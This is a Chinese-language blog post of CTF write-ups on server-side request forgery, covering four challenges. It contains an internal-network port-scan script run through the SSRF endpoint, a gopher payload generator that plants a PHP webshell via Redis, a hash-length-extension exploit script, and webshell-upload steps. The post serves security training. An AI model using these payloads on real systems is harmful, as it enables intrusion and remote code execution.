ssrf解题记录

  最近工作需要做一些Web的代码审计,而我Web方面还比较薄弱,决定通过一些ctf的题目打打审计基础,练练思维,在博客上准备开几个专题专门记录刷题的过程。

  pwn题最近做的也很少,也要开始做题了。

2020 GKctf:Ezweb

  题目打开如下:

  查看前端页面源码发现hint:get方式提交secret参数。传递secret参数之后发现后端执行了ifconfig命令。

  有了内网ip之后,尝试在输入框输入ip地址,然后发现会对服务器的资源进行请求,请求到资源的结果会显示在页面前端。

  php中常见的请求服务器资源的函数有file_get_content(),curl_exec(),fsockopen(),这些函数都是有可能造成ssrf()的危险函数。题目做到这里的时候,我感觉我打黑盒的经验还很欠缺。

  在url中我们尝试ifconfig中输出的三个ip,发现设置了黑名单过滤了localhost的ip。

  我首先尝试了使用php://filter来读取index.php的源码:

php://filter/read=convert.base64-encode/resource=index.php

  但是页面没有回显,然后我又尝试通过file://伪协议来访问本地文件系统获取index.php的源码。

file://var/www/html/index.php

  发现又是黑名单,但是我第一下没有想到是过滤了"//",我以为是过滤了file伪协议,走了很多弯路,后来看了别人的writeup,又看了php文档,文档中写到了这样的内容:

  "//"被过滤的时候,可以尝试通过"/"和"///"来进行绕过,通过单反斜杠可以绕过黑名单,获取index.php的源码。

  这篇文章中还记录了一些有意思的ssrf的trick:https://www.cnblogs.com/w1hg/p/14363840.html

  审计代码:

<?php
function curl($url){
$ch = curl_init();
// 初始化curl会话
curl_setopt($ch, CURLOPT_URL, $url);
// curl_setopt设置curl的选项,CURLOPT_URL返回$url的值
curl_setopt($ch, CURLOPT_HEADER, 0);
// CURLOPT_HEADER启用时会将头文件的信息作为数据流输出
echo curl_exec($ch);
curl_close($ch);
# 关闭curl链接
} if(isset($_GET['submit'])){
$url = $_GET['url'];
//echo $url."\n";
if(preg_match('/file\:\/\/|dict|\.\.\/|127.0.0.1|localhost/is', $url,$match))
{
# 过滤"file://"
//var_dump($match);
die('别这样');
}
curl($url);
}
if(isset($_GET['secret'])){
system('ifconfig');
}
?>

  不能使用php://filter来读取文件的原因也找到了。curl_exec()函数支持http://和file://,但是不支持php://filter,所以这里只能通过file://来访问服务器本地文件。

  ifconfig前面其实是给出了内网的网段。ssrf服务器端伪造请求本身就是对于请求的资源没有做出合理的限制,导致通过Web服务器突破了网络边界,从而对内网进行了入侵,现在Web服务器提供了一个url接口,通过curl_exec()来执行资源请求,我们可以借助http服务来实现一个内网主机存活和端口扫描的脚本。或者通过burpsuite intruder直接扫描也可以。

import requests
import time ports = ['80','6379','3306','8080','8000']
session = requests.session()
C_ip = "10.0.27." #内网ip网段
for i in range(1,255):
ip = C_ip + str(i)
for port in ports:
url = 'http://4b4cb162-9ccc-447b-9703-8e551f1d89cb.node4.buuoj.cn/index.php?url=%s:%s&submit=1'%(ip,port)
try:
res = session.get(url,timeout=3)
if len(res.text) != 0:
print(ip,port,'is open')
except:
continue print('Done.')

  测试之后发现内网10.0.27.6这台主机是目标靶机。

  扫描的过程中发现开放了6379端口,6379端口是redis的默认端口,通过ssrf进而攻击内网redis服务也是常见的套路之一。

  ssrf攻击redis服务实现RCE主要的利用有两种,一种是利用header CRLF注入,一种是利用gopher来进行注入。

  https://joner11234.github.io/article/9d7d2c7d.html

https://blog.chaitin.cn/gopher-attack-surfaces/

  下面两篇文章都讲到了如何利用gopher协议和CRLF注入来拓展ssrf的攻击面,我这里也做一点自己的总结。

  redis协议报文格式如下:

*<参数数量> CR LF
$<参数 1 的字节数量> CR LF
<参数 1 的数据> CR LF
...
$<参数 N 的字节数量> CR LF
<参数 N 的数据> CR LF

  redis协议的是语句是依靠换行符来进行截断的,如果在redis协议报文中构造恶意的"\r\n",我们就可以在其中插入shell语句或者php语句,从而写入文件,通过反弹shell或者phpshell来实现RCE。

  gopher协议是internal早期的一种协议,除了可以返送get和post请求之外,还可以访问redis,ftp等其他端口(这些端口一般又只在内网开放,这种情况下,利用gopher协议就可以极大地拓展攻击面)。

  可以利用一个工具来生成gopher协议的payload:Gopherus

  或者利用其他师傅写的一个脚本专门生成phpshell:

import urllib
protocol="gopher://"
ip="10.0.27.6"
port="6379"
#shell="\n\n<?php system(\"cat /flag\");?>\n\n"
shell="\n\n<?php system($_GET['cmd']);?>"
filename="shell.php"
path="/var/www/html"
passwd=""
cmd=["flushall",
"set 1 {}".format(shell.replace(" ","${IFS}")),
"config set dir {}".format(path),
"config set dbfilename {}".format(filename),
"save"
]
if passwd:
cmd.insert(0,"AUTH {}".format(passwd))
payload=protocol+ip+":"+port+"/_"
def redis_format(arr):
CRLF="\r\n"
redis_arr = arr.split(" ")
cmd=""
cmd+="*"+str(len(redis_arr))
for x in redis_arr:
cmd+=CRLF+"$"+str(len((x.replace("${IFS}"," "))))+CRLF+x.replace("${IFS}"," ")
cmd+=CRLF
return cmd if __name__=="__main__":
for x in cmd:
payload += urllib.quote(redis_format(x))
print(payload)

De1ctf 2019:ssrfMe

  一道python的ssrf题目,题目给出了源码app.py,审计源码:

#! /usr/bin/env python
#encoding=utf-8
from flask import Flask
from flask import request
import socket
import hashlib
import urllib
import sys
import os
import json
reload(sys)
sys.setdefaultencoding('latin1') app = Flask(__name__) secert_key = os.urandom(16)
# 生成16位随机数secert_key class Task:
def __init__(self, action, param, sign, ip):
self.action = action
self.param = param
self.sign = sign
self.sandbox = md5(ip)
if(not os.path.exists(self.sandbox)): #SandBox For Remote_Addr
os.mkdir(self.sandbox)
# 每个ip创建一个文件夹 def Exec(self):
result = {}
result['code'] = 500
if (self.checkSign()):
# 检查sign是否生成
# geneSign路由生成key,在Task.exec()方法调用前需要先访问geneSign路由
# 这里利用到哈希拓展攻击
if "scan" in self.action:
tmpfile = open("./%s/result.txt" % self.sandbox, 'w')
# action中存在"scan"时,写入临时文件result.txt
resp = scan(self.param)
# scan函数中存在向url请求读入资源的操作
if (resp == "Connection Timeout"):
result['data'] = resp
else:
print(resp)
tmpfile.write(resp)
tmpfile.close()
result['code'] = 200
# 网页状态码修改为200
if "read" in self.action:
# 如果action中存在"read"字段时,从临时文件中读取内容写入result
f = open("./%s/result.txt" % self.sandbox, 'r')
# 闭合格式化字符串读取文件?
result['code'] = 200
result['data'] = f.read()
if result['code'] == 500:
result['data'] = "Action Error"
else:
result['code'] = 500
result['msg'] = "Sign Error"
return result def checkSign(self):
if (getSign(self.action, self.param) == self.sign):
return True
else:
return False # generate Sign For Action Scan.
@app.route("/geneSign", methods=['GET', 'POST'])
def geneSign():
param = urllib.unquote(request.args.get("param", ""))
# param=>get传参进行,unquote进行解码
action = "scan"
return getSign(action, param) @app.route('/De1ta',methods=['GET','POST'])
def challenge():
action = urllib.unquote(request.cookies.get("action"))
param = urllib.unquote(request.args.get("param", ""))
sign = urllib.unquote(request.cookies.get("sign"))
ip = request.remote_addr
# 获取访问ip
if(waf(param)):
return "No Hacker!!!!"
task = Task(action, param, sign, ip)
# action = scan
return json.dumps(task.Exec())
@app.route('/')
def index():
return open("code.txt","r").read()
# 读取code.txt的值并返回 def scan(param):
socket.setdefaulttimeout(1)
try:
return urllib.urlopen(param).read()[:50]
# scan函数中存在向其他url请求资源的情况
# urlopen(param),param参数为不可信输入,且未经处理到达污染汇聚点
# 题目中提示./flag.txt,直接访问本地文件任意文件读
except:
return "Connection Timeout" def getSign(action, param):
return hashlib.md5(secert_key + param + action).hexdigest()
# 计算secert_key,param,action的和的md5值
# secret_key不可控,param是data,action是contral_data,./De1ta路由中param和action都是可控的
# 哈希拓展攻击的场景:
# 1.准备了一个密文和一些数据构造成一个字符串里,并且使用了MD5之类的哈希函数生成了一个哈希值(也就是所谓的signature/签名)
# 2.让攻击者可以提交数据以及哈希值,虽然攻击者不知道密文
# 3.服务器把提交的数据跟密文构造成字符串,并经过哈希后判断是否等同于提交上来的哈希值
# {secret,data,control_data} def md5(content):
return hashlib.md5(content).hexdigest() def waf(param):
check=param.strip().lower()
# 去除空字符并且全部小写
if check.startswith("gopher") or check.startswith("file"):
# startswith:如果字符串以指定的prefix开头,返回true
# param函数的开头禁用了gopher协议和file协议,实际上是限制对内网资源的访问
return True
else:
return False if __name__ == '__main__':
app.debug = False
app.run(host='0.0.0.0')

  源码中有三个路由,三个路由对应的功能做一个分析:

  1."./":将源代码返回在前端页面上;

  2."./geneSign":首先生成了16位的随机数secret_key,然后与param和action参数的值进行拼接,返回字符串的md5值;

  3."./De1ta":首先赋值变量,然后调用waf函数检查param中是否存在特定的字符串,然后实例化Task类并且调用Exec方法。Exec方法中首先调用checkSign函数检查cookie中的sign与(secret_key+param+action)返回的md5值是否相等,如果相等的话检查action参数中是否存在"scan"字符串,如果存在"scan"字符串的话,调用open函数打开tmpfile,调用scan函数获取url资源并且写入文件。在调用scan函数的过程中,没有对要获取的资源做出限制,造成ssrf漏洞。如果action参数中存在"read"字符串的话,打开tmpfile并且读入tmpfile的值到result['data']中,最后返回result。

  题目给出了提示,flag在“./flag.txt”中。首先访问"./geneSign"路由,param参数的值为"./flag.txt",action变量的值是硬编码的,此时生成一个sign。

  然后需要了解一下哈希拓展攻击:https://www.cnblogs.com/pcat/p/5478509.html

  这个场景就是一个很明显的哈希拓展攻击的场景,由于在Exec方法中,param参数和action参数我们都是可控的,哈希拓展攻击使用到的工具是hashpump,具体使用方法如图所示:

  Input Signature表示的是初始的哈希值,Input Data是最初contral_data的值,Input Key Length是secret_key和data字符串的长度和,Input Data是contral_data中新添加内容的值。

  最终后面生成的是第二次要输入的哈希值和最终的contral_data。写一个简单的requests脚本发送数据包:

import requests
import hashlib
import hashpumpy url = 'http://f9552bae-8ce4-4ca5-9bc4-e435d7f197dc.node4.buuoj.cn/De1ta'
param = '?param=flag.txt'
payload = url + param
cookies = {"sign":"2cbc83f4b2c2b2f994125f37facbf0b4",
"action":"scan%80%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%e0%00%00%00%00%00%00%00read"}
r = requests.get(payload,cookies=cookies)
print(r.text)

  

  这道题看别的师傅的writeup还有一种简便的做法,思路比较巧妙:

  既然两次都是字符串拼接,那在geneSign路由中param=flag.txtread,action=scan,拼接的结果是"flag.txtreadscan",在De1ta路由中,param=flag.txt,action=readscan,拼接的结果是"flag.txtreadscan",依然可以绕过校验。

N1book:ssrf Training

  打开界面如下,challege.php提供了源码:

<?php
highlight_file(__FILE__);
function check_inner_ip($url)
{
$match_result=preg_match('/^(http|https)?:\/\/.*(\/)?.*$/',$url);
if (!$match_result)
{
die('url fomat error');
}
# 通过正则表达式限制url访问的协议,url中只允许http协议和https协议
try
{
$url_parse=parse_url($url);
}
catch(Exception $e)
{
die('url fomat error');
return false;
}
$hostname=$url_parse['host'];
$ip=gethostbyname($hostname);
$int_ip=ip2long($ip);
return ip2long('127.0.0.0')>>24 == $int_ip>>24 || ip2long('10.0.0.0')>>24 == $int_ip>>24 || ip2long('172.16.0.0')>>20 == $int_ip>>20 || ip2long('192.168.0.0')>>16 == $int_ip>>16;
} function safe_request_url($url)
{ if (check_inner_ip($url))
# 限制访问内网ip
{
echo $url.' is inner ip';
}
else
{
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $url);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
# 将curl_exec获取的信息以字符串返回,而不直接输出
curl_setopt($ch, CURLOPT_HEADER, 0);
$output = curl_exec($ch);
$result_info = curl_getinfo($ch);
# 获取传输的信息
if ($result_info['redirect_url'])
# 如果存在重定向
{
safe_request_url($result_info['redirect_url']);
}
curl_close($ch);
var_dump($output);
}
} $url = $_GET['url'];
if(!empty($url)){
safe_request_url($url);
} ?>

  通过正则限制了url格式,白名单只允许http和https两个协议访问。题目提示了flag.php,输入url直接文件读即可:

hitcon2017 ssrfme

  题目给出源码,审计一下:

<?php
if (isset($_SERVER['HTTP_X_FORWARDED_FOR'])) {
# HTTP_X_FORWARDED_FOR,返回x_forwarded_for
$http_x_headers = explode(',', $_SERVER['HTTP_X_FORWARDED_FOR']);
# 返回以","分割的数组
$_SERVER['REMOTE_ADDR'] = $http_x_headers[0];
} echo $_SERVER["REMOTE_ADDR"]; $sandbox = "sandbox/" . md5("orange" . $_SERVER["REMOTE_ADDR"]);
# $_SERVER["REMOTE_ADDR"]可控
@mkdir($sandbox);
@chdir($sandbox); $data = shell_exec("GET " . escapeshellarg($_GET["url"]));
# escapeshellarg把字符转码为可以在shell中使用的参数
# 请求url资源
# vps上保存hack.php
$info = pathinfo($_GET["filename"]);
# pathinfo以数组的形式返回文件路径
# dirname,basename(文件名全名),extension(拓展名),filename(文件名)
# 控制filename 要实现任意文件写需要突破目录限制
$dir = str_replace(".", "", basename($info["dirname"]));
# 输出当前目录
@mkdir($dir);
@chdir($dir);
# 进入目录: ./sandbox/md5_hash/dir
@file_put_contents(basename($info["basename"]), $data);
# 文件中写入从url中获取的资源
highlight_file(__FILE__);
# phpshell需要绕过目录限制
?>

   可以看到,源码中实现了通过shell_exec调用GET命令来请求url资源,并且将请求到的内容写入本地文件的操作,如果我们把webshell放在vps上,然后GET发起请求并且写入文件的话,就可以把webshell写入到本地文件中去。但是写入的文件目录是有限制的,以我开始的想法,这道题目的意思就是想办法绕过目录限制写入webshell来rce。

  感觉比较难办的是basename,查阅文档有如下注释。

  这样一来,似乎只能在sanbox目录下写入文件了,如果是在根目录下,好像没办法传Webshell。

  开始我以为sanbox是根目录下的目录,后来仔细一看是相对路径,是在/var/www/html目录下的,那这个好办了,我在我的vps上先写好马,然后直接写入到相应目录下用蚁剑直接连接即可。

  蚁剑连接后,根目录下可以看到flag和readflag,执行readflag就可以读出文件。

预期解

  题解中解法主要是考察GET命令执行。

  GET是linux一个内置的命令,用来发送get请求,GET命令支持file协议,也就是说可以读取文件和目录结构。同时,只要构造文件名(使文件名为命令加管道符的结构),在文件存在的情况下,GET也可以通过调用perl中open函数实现命令执行的目的。

  然后访问111这个文件就可以看到根目录结构。

  然后创建命令执行的文件

  将file协议访问文件的内容保存到flag文件中去。

  访问文件,获取flag。

  

  

  

  

 

  

  

 

ssrf解题记录的更多相关文章

  1. pwnable.kr input解题记录

    pwnable input解题记录 给了源码如下: #include "stdio.h" #include "unistd.h" #include " ...

  2. angr脚本——以angrctf解题记录为参考

    angr脚本--以angrctf解题记录为参考 ​ angr是用于逆向工程中进行二进制分析的一个python框架 ​ 符号执行 (Symbolic Execution)是一种程序分析技术.其可以通过分 ...

  3. LeetCode解题记录(贪心算法)(二)

    1. 前言 由于后面还有很多题型要写,贪心算法目前可能就到此为止了,上一篇博客的地址为 LeetCode解题记录(贪心算法)(一) 下面正式开始我们的刷题之旅 2. 贪心 763. 划分字母区间(中等 ...

  4. 实验吧web解题记录

    自以为sql注入掌握的还是比较系统的,然而,做了这些题之后才发现,大千世界无奇不有,真是各种猥琐的思路...还是要多学习学习姿势跟上节奏 登录一下好吗?? http://ctf5.shiyanbar. ...

  5. LeetCode解题记录(贪心算法)(一)

    1. 前言 目前得到一本不错的算法书籍,页数不多,挺符合我的需要,于是正好借这个机会来好好的系统的刷一下算法题,一来呢,是可以给部分同学提供解题思路,和一些自己的思考,二来呢,我也可以在需要复习的时候 ...

  6. Leetcode解题记录

    尽量抽空刷LeetCode,持续更新 刷题记录在github上面,https://github.com/Zering/LeetCode 2016-09-05 300. Longest Increasi ...

  7. AC自动机解题记录

    1.HDU 2222 Keywords Search 模板题 #include <bits/stdc++.h> #define fir first #define sec second # ...

  8. [LeetCode]Valid Sudoku解题记录

    这道题考查对二维数组的处理,哈希表. 1.最自然的方法就是分别看每一个数是否符合三个规则.所以就须要对应的数据结构来 记录这些信息,判定是否存在.显然最先想到用哈希表. 2.学会把问题抽象成一个个的子 ...

  9. AcWing 791. 高精度加法 解题记录

    题目地址 https://www.acwing.com/problem/content/description/793/ 题目描述给定两个正整数,计算它们的和. 输入格式共两行,每行包含一个整数. 输 ...

随机推荐

  1. SpringCloud入门及创建分布式项目

    1.了解微服务 1.1 什么是微服务 微服务是一种架构风格 一个应用拆分为一组小型服务 每个服务运行在自己的进程内,也就是可独立部署和升级 服务之间使用轻量级HTTP交互 服务围绕业务功能拆分 可以由 ...

  2. 22、部署drdb

    22.1.heartbeat部署规划: 本文的实验环境是虚拟机设备: 名称 接口 ip 用途 master-db(主) eth0 10.0.0.16/24 用于服务器之间的数据同步(直连) eth1 ...

  3. hdu 3306 Another kind of Fibonacci 矩阵快速幂

    参考了某大佬的 我们可以根据(s[n-2], a[n-1]^2, a[n-1]*a[n-2], a[n-2]^2) * A = (s[n-1], a[n]^2, a[n]*a[n-1], a[n-1] ...

  4. Gym 101334D 记忆化dp

    大致题意: 给你9堆扑克牌,每堆牌有4张,大小从A~K.每次从9堆牌牌顶抽走两张大小相同的牌,且抽走每一对相同的牌的概率都相等.问可以全部抽完的概率. 分析: 这是一道概率dp题.剩余的牌数作为状态, ...

  5. Vue 两个字段联合校验典型例子--修改密码

    1.前言   本文是前文<Vue Element-ui表单校验规则,你掌握了哪些?>针对多字段联合校验的典型应用.   在修改密码时,一般需要确认两次密码一致,涉及2个属性字段.类似的涉及 ...

  6. centos Gitlab AD 集成

    简述 Gitlab支持集成LDAP用户认证系统.兼容包括Microsoft Active Directory, Apple Open Directory, Open LDAP, 与389 Server ...

  7. 如何快速实现一个虚拟 DOM 系统

    虚拟 DOM 是目前主流前端框架的技术核心之一,本文阐述如何实现一个简单的虚拟 DOM 系统. 为什么需要虚拟 DOM? 虚拟 DOM 就是一棵由虚拟节点组成的树,这棵树展现了真实 DOM 的结构.这 ...

  8. java.util.Date 与 java.sql.Date

    java.sql.Date 继承 java.util.Date 区别: 1.java.sql.Date 一般用于数据库 2.java.sql.Date 没有时分秒,涉及时分秒的函数都会报异常(且这些方 ...

  9. leetcode 数组分成和相等的三个部分

    题目: 给你一个整数数组 A,只有可以将其划分为三个和相等的非空部分时才返回 true,否则返回 false. 形式上,如果可以找出索引 i+1 < j 且满足 (A[0] + A[1] + . ...

  10. ROS2学习之旅(4)——理解ROS2 Graph中的节点

    ROS(2)图(ROS(2) graph)是一个同时处理数据的基于ROS2元素的网络,它包含了所有的可执行文件以及它们之间的连接.图中的基本元素包括:节点(nodes).话题(topics).服务(s ...